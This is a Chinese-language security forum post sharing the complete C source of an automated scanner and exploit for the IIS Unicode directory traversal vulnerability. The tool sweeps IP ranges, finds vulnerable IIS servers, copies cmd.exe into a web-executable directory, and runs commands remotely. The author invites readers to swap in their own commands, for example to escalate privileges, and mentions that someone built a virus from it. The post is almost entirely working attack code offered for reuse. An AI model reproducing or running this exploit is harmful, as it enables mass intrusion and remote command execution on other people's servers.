这是在 20CN网络安全小组第一代论坛 的论坛 安全漏洞 中的主题 关于Unicode的高级开发应用!


要查看这个主题,请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=3;t=000302

阿坤 (编号: 2624) 发表于 :
 
关于UNICODE漏洞的常用应用技术我就不再多说,我来讨论一下它的高级应用技术.以下是UNICODE漏洞的扫描程序,也就是大家使用过的RED .EXE的C源程序.

#include <windows.h>
#include <stdio.h>
#include <time.h>

#define UNISTRING "%c0%af"

long iplookup(char *rhost);
void FindHost(char *ServerName);
int CheckVersion(char *host, u_short port);
int FindExeDir(char *host, u_short port);
char *GetData(int SockFD);
int MoveCmd(char *host, u_short port);
void SendExploit(char *host, u_short port, u_short tport, char
*shellcode);

char *localpath;
char *exedir;

#define FileName "\\red.txt"

#define PORT 80

time_t ltime;
WSADATA wsaData;
FILE *f;
u_long startIP,endIP;
IN_ADDR serverIP;
char ServerName[256];

void CleanVars()
{
free(exedir);
free(localpath);
exedir=NULL;
localpath=NULL;
}

void FindHost(char *ServerName)
{
struct in_addr host;
u_short sport;
u_short tport;

sport=80; tport=2323;
host.S_un.S_addr = inet_addr(ServerName);
//Find an IIS directory with execute permissions
if (CheckVersion(ServerName,sport))
{
CleanVars();
return;
}
printf("Executable directory found. [%s]\n", exedir);
printf("Path to executable directory is [%s]\n",localpath);
//Move and rename cmd.exe from winnt\system32 to our executable directory as red.exe
if (MoveCmd(ServerName,sport))
{
CleanVars();
return;
}
//Send our exploit and own the server
SendExploit(ServerName,sport,tport,NULL);
CleanVars();
}

int CheckVersion(char *host, u_short port)
{
u_long value;
TIMEVAL timeout;
FD_SET mask;
char errorCode;
int errorLen;
int SockFD,status;
struct sockaddr_in DstSAin;

//add ore directories if you like but make sure to change the for() loop accordingly.
char MyCmd[256];
char *buffer;
int rbytes=0,loc1=0,loc2=0;
char locdir[300];

memset(locdir,0,300);
printf("Seraching IPs>>>>>>>>\n");

SockFD=socket(AF_INET,SOCK_STREAM,0);
value=1;
ioctlsocket(SockFD,FIONBIO,&value);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin));
timeout.tv_sec=2;
timeout.tv_usec=0;
FD_ZERO(&mask);
FD_SET(SockFD,&mask);
status=select(SockFD+1,NULL,&mask,NULL,&timeout);

switch(status)
{
case -1:
printf("Select() error at %s\n",ServerName);
exit(1);
case 0:
closesocket(SockFD);
return 1;
default:
if (FD_ISSET(SockFD,&mask))
{
errorCode=1;
errorLen=sizeof(errorCode);
getsockopt(SockFD,SOL_SOCKET,SO_ERROR,&errorCode,&errorLen);
if (errorCode==1)
fprintf(f,"Connected to %s\n",ServerName);
}
}

sprintf(MyCmd,"GET HTTP/1.0\n");
send(SockFD,MyCmd,strlen(MyCmd),0);
buffer=GetData(SockFD);
if((strstr(buffer,"Microsoft-IIS/4."))||(strstr(buffer,"Microsoft-IIS/5.")))
{
printf("Have Found a IIS Web Server:%s",ServerName);
fprintf(f,"Found the right IIS version\n%s\n",ServerName);
closesocket(SockFD);
if (FindExeDir(host,port)) return 1;
return 0;
}
closesocket(SockFD);

return 1;
}

void SendExploit(char *host, u_short port, u_short tport, char *shellcode)
{
//localpath\\red.exe
//This function moves cmd.exe from winnt\system32 to the found executable directory
int SockFD,i;
struct sockaddr_in DstSAin;
char waste[5000],uniwaste[500];
char space[3];
char Cmd[500];
char *buffer;

printf("Sending the exploit...\n");
memset(uniwaste,0,499);
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //Create our drop back url string
}

memset(space,0,3);
strcpy(space,"%20");
memset(waste,0,5000);

sprintf(Cmd,"echo%sver%s>%s%s\\aaa.bat",
space,space,space,localpath,space);
sprintf(waste,"GET /%s/%s/%s/red.exe?/c%s%s HTTP/1.0\n\n",
exedir,uniwaste,localpath+3,space,Cmd);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,waste,strlen(waste),0); //send the echo command and shellcode
buffer=GetData(SockFD);
if((strstr(buffer,"Succe"))||(strstr(buffer,"³É¹¦")))
{
printf(buffer);
fprintf(f,"Driver already shared\n%s\n",buffer);
closesocket(SockFD);
if (FindExeDir(host,port)) return;
}
}

closesocket(SockFD);
//Now request the .asp file and cause the overflow
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
memset(waste,0,5000);
sprintf(waste,"GET /%s/%s/%s/red.exe?/caaa.bat\n HTTP/1.0\n\n",
exedir,uniwaste,localpath+3);
send(SockFD,waste,strlen(waste),0);
buffer=GetData(SockFD);
if(strlen(buffer))
{
printf("The aaa.bat return:%s",buffer);
}
else
//If we do get data back from the server then they are probably patched
printf("Exploit failed.\n");
}
}

int MoveCmd(char *host, u_short port)
{
//This function moves cmd.exe from winnt\system32 to the found executable directory
int SockFD,i;
struct sockaddr_in DstSAin;
char waste[500],uniwaste[500];
char space[3];
char dletter[2];
char *buffer;
char *p;

memset(uniwaste,0,499);
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //create drop back url
}
strncpy(dletter,localpath,1);
dletter[1]='\0';
memset(space,0,3);
strcpy(space,"%20");
printf("Moving cmd.exe from winnt\\system32 to %s.\n", localpath);
memset(waste,0,500);
//create string that causes cmd.exe to copy itself to our iis executable directory, also rename it so its > friendly.
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n",exedir,uniwaste,space,space,dletter,space,localpath);
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,waste,strlen(waste),0); //send the rename/move command
buffer=GetData(SockFD);
p=strstr(buffer,"1 file(s) copied."); //if buffer has this then we copied the file correctly.
if(p!=NULL)
{
printf("Succesfully moved cmd.exe to %s\\red.exe", localpath);
closesocket(SockFD);
return 0;
}
}

printf("Failed to move and rename cmd.exe. Server probably not vulnerable.\n");
closesocket(SockFD);
return 1;
}

int FindExeDir(char *host, u_short port)
{
u_long value;
TIMEVAL timeout;
FD_SET mask;
char errorCode;
int errorLen;
int SockFD,i,status;
struct sockaddr_in DstSAin;

//add more directories if you like but make sure to change the for() loop accordingly.
char *ExeDirs[5]={"scripts","IISADMPWD","msadc","cgi-bin","_vti_bin"};
char waste[500],uniwaste[500];
char *buffer,*p;
char space[3];
int rbytes=0,loc1=0,loc2=0;
char locdir[300];

memset(locdir,0,300);
memset(uniwaste,0,499);
memset(space,0,3);
strcpy(space,"%20");
printf("Attempting to find an executable directory...\n");
for(i=0;i<8;i++)
{
strcat(uniwaste,"..");
strcat(uniwaste,UNISTRING); //create drop back url string
}
for(i=0;i<4;i++)
{
memset(waste,0,500);
//create our string that sees if we can execute cmd.exe
//that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe
sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0\n\n",ExeDirs[i],uniwaste,space);
SockFD=socket(AF_INET,SOCK_STREAM,0);
value=1;
ioctlsocket(SockFD,FIONBIO,&value);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons(port);
DstSAin.sin_addr.s_addr=iplookup(host);
connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin));
timeout.tv_sec=2;
timeout.tv_usec=0;
FD_ZERO(&mask);
FD_SET(SockFD,&mask);
status=select(SockFD+1,NULL,&mask,NULL,&timeout);

switch(status)
{
case -1:
printf("Select() error at %s\n",ServerName);
exit(1);
case 0:
closesocket(SockFD);
return 1;
default:
if (FD_ISSET(SockFD,&mask))
{
errorCode=1;
errorLen=sizeof(errorCode);
getsockopt(SockFD,SOL_SOCKET,SO_ERROR,&errorCode,&errorLen);
if (errorCode==1)
fprintf(f,"Connect to %s\n",ServerName);
}
}

printf("Trying directory [%s]\n", ExeDirs[i]);
send(SockFD,waste,strlen(waste),0); //try one of the directories
buffer=GetData(SockFD);

p=strstr(buffer,"Directory of"); //we found an executable directory on the same drive as cmd.exe!!!

if(p!=NULL)
{
loc1=p-buffer+1;
p=strstr(buffer,"<DIR>");
if(p!=NULL)
{
//do a bunch of crap to move the executable directory name into a global buffer
//and to also grab the remote servers local path to that executable directory
loc2=p-buffer+1;
loc2=loc2-27;
buffer[loc2-2]='\0';
strncpy(locdir,buffer+loc1+12,290);

//Set executable directory.
exedir=(char*)malloc(strlen(ExeDirs[i])+1);
memset(exedir,0,strlen(ExeDirs[i])+1);
memcpy(exedir,ExeDirs[i],strlen(ExeDirs[i]));

//Set executable directory path
localpath=(char*)malloc(strlen(locdir)+1);
memset(localpath,0,strlen(locdir)+1);
memcpy(localpath,locdir,strlen(locdir));
closesocket(SockFD);
return 0;
}
}

//looks like the server might not be vulnerable, you might want to tweak code though
printf("Could not find an executable directory or your unicode code is incorrect or the server is patched.\n");
closesocket(SockFD);
}
return 1;
}

//lookup an ip wheeeeee
long iplookup(char *rhost)
{
long rip;
struct hostent *hp;
if ((rip=inet_addr(rhost))==-1)
{
if ((hp=gethostbyname(rhost))==NULL)
{
printf("Failed to resolve host.\n");
return 127<<24+1;
}
memcpy(&rip, (hp->h_addr), 4);
}
return rip;
}

char *GetData(int SockFD)
{
//get data without a blocking recv so we dont hang if we crash the server
char *buffer;
char data[4001];
unsigned long on=1;
unsigned long off=0;
char waste[4001];
int p, i=1;
int t;

memset(data,0,4001);
p=ioctlsocket(SockFD,FIONBIO,&on);
memset(waste,0,4001);
for(t=1;t<10;t++){
i=recv(SockFD, waste, 4000, 0);
if(i>0)
break;
Sleep(500);
}
waste[i]='\0';
strncat(data,waste,4000);
buffer = ( char * )malloc( 4000 * sizeof( char ) );
strncpy( buffer, data, 4000 );
return buffer;
}

void WSockInit(int argc,char *argv[])
{
int i;

printf("IIS Scan & Attack(Just For Test) By Redp0wer\n");
if(argc!=3)
{
printf("Usage: %s [startIP] [endIP]\n",argv[0]);
exit(1);
}

if ((WSAStartup(MAKEWORD(2,2),&wsaData)!=0) ||
(LOBYTE(wsaData.wVersion)!=2 || HIBYTE(wsaData.wVersion)!=2))
{
printf("Could not find a usable WinSock DLL\n");
WSACleanup();
exit(1);
}

startIP=ntohl(inet_addr(argv[1]));
endIP=ntohl(inet_addr(argv[2]));
if(startIP>endIP)
{
i=startIP;
startIP=endIP;
endIP=i;
}

if ((f=fopen(FileName,"a"))==NULL)
{
if ((f=fopen(FileName,"w"))==NULL)
{
printf("Could not create log file: %s\n",FileName);
exit(1);
}
}

printf("All hacking history will be recorded in %s\n",FileName);
time(<ime);
fprintf(f,"--------------Scan Begin--------------\n%s",ctime(<ime));
fprintf(f,"From %s to %s\n",argv[1],argv[2]);
fflush(f);
printf("Searching for hosts...\n");
printf("From %s to %s\n",argv[1],argv[2]);
}

void ScanIP()
{
u_long i;
for(i=startIP; i<=endIP; i++)
{
if (((i % 256)==0)||((i % 256)==255))
continue;
serverIP.s_addr=htonl(i);
sprintf(ServerName,"%s",inet_ntoa(serverIP));
printf("Scan %s\n",ServerName);
FindHost(ServerName);
}

time(<ime);
fprintf(f,"------------Scan Finished-------------\n%s\n",ctime(<ime));
fclose(f);
}

int main(int argc,char *argv[])
{
WSockInit(argc,argv);
ScanIP();
WSACleanup();
return 0;
}

程序在发现漏洞之后,只是利用它往服务器上写入一 个AAA.BAT文件,并运行它.AAA.BAT里写入的命令只是执行系统的VER(检查版本)命令.
sprintf(Cmd,"echo%sver%s>%s%s\\aaa.bat",space,space,space,localpath,space);
sprintf(waste,"GET /%s/%s/%s/red.exe?/c%s%s HTTP/1.0\n\n",
exedir,uniwaste,localpath+3,space,Cmd);

我们便可以在这里修改命名以达到自己的私人目的,例如提升系统权限等等,但很不幸的是有人用它做成了病毒,这便是... ...

有兴趣的朋友请恢复,大家一起讨论! ^O^
 






Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。